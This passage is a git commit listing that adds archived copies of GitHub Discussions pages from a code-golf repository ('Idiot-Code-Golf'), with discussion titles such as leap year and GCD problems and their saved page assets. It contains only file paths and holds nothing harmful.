Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node__002.js create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_clipboard-copy-element_dist_index.js create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_decorators_js-.js create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_paste-markdown_dist_index_esm_js-.js create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_lit-html_lit-html_js-ba8ef7c9465c.js create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf.html create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/1f389.png create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/1f440.png create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/1f44d.png create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/1f44e.png create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/1f4a1.png create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/1f604.png create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/1f615.png create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/1f680.png create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/2764.png create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/33086936.png create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/33086936_002.png create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/33086936_003.png create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/50341827.png create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/50341827_002.png create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_details_ts-app_assets_mod.js create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_command-palette_items_help-item_ts-.js create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node__002.js create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_clipboard-copy-element_dist_index.js create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_decorators_js-.js create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_paste-markdown_dist_index_esm_js-.js create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_lit-html_lit-html_js-ba8ef7c9465c.js create mode 100644 archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf.html create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/1f389.png create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/1f440.png create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/1f44d.png create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/1f44e.png create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/1f604.png create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/1f615.png create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/1f64f.png create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/1f680.png create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/2764.png create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/50341827.png create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/50341827_002.png create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/50341827_003.png create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/50341827_004.png create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_details_ts-app_assets_mod.js create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node__002.js create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_clipboard-copy-element_dist_index.js create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_paste-markdown_dist_index_esm_js-.js create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_lit-html_lit-html_js-ba8ef7c9465c.js create mode 100644 archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf.html create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/1f389.png create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/1f440.png create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/1f44d.png create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/1f44e.png create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/1f604.png create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/1f615.png create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/1f64f.png create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/1f680.png create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/2764.png create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/50341827.png create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/50341827_002.png create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/50341827_003.png create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_details_ts-app_assets_mod.js create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node__002.js create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_clipboard-copy-element_dist_index.js create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_paste-markdown_dist_index_esm_js-.js create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_lit-html_lit-html_js-ba8ef7c9465c.js create mode 100644 archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf.html create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/1f389.png create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/1f440.png create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/1f44d.png create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/1f44e.png create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/1f604.png create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/1f615.png create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/1f64f.png create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/1f680.png create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/2764.png create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/50341827.png create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/50341827_002.png create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/50341827_003.png create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/50341827_004.png create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_details_ts-app_assets_mod.js create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_command-palette_items_help-item_ts-.js create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node__002.js create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_clipboard-copy-element_dist_index.js create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_decorators_js-.js create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_paste-markdown_dist_index_esm_js-.js create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_lit-html_lit-html_js-ba8ef7c9465c.js create mode 100644 archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf.html create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/1f389.png create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/1f440.png create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/1f44d.png create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/1f44e.png create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/1f604.png create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/1f615.png create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/1f64f.png create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/1f680.png create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/2764.png create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/50341827.png create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/50341827_002.png create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/50341827_003.png create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/50341827_004.png create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_details_ts-app_assets_mod.js create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 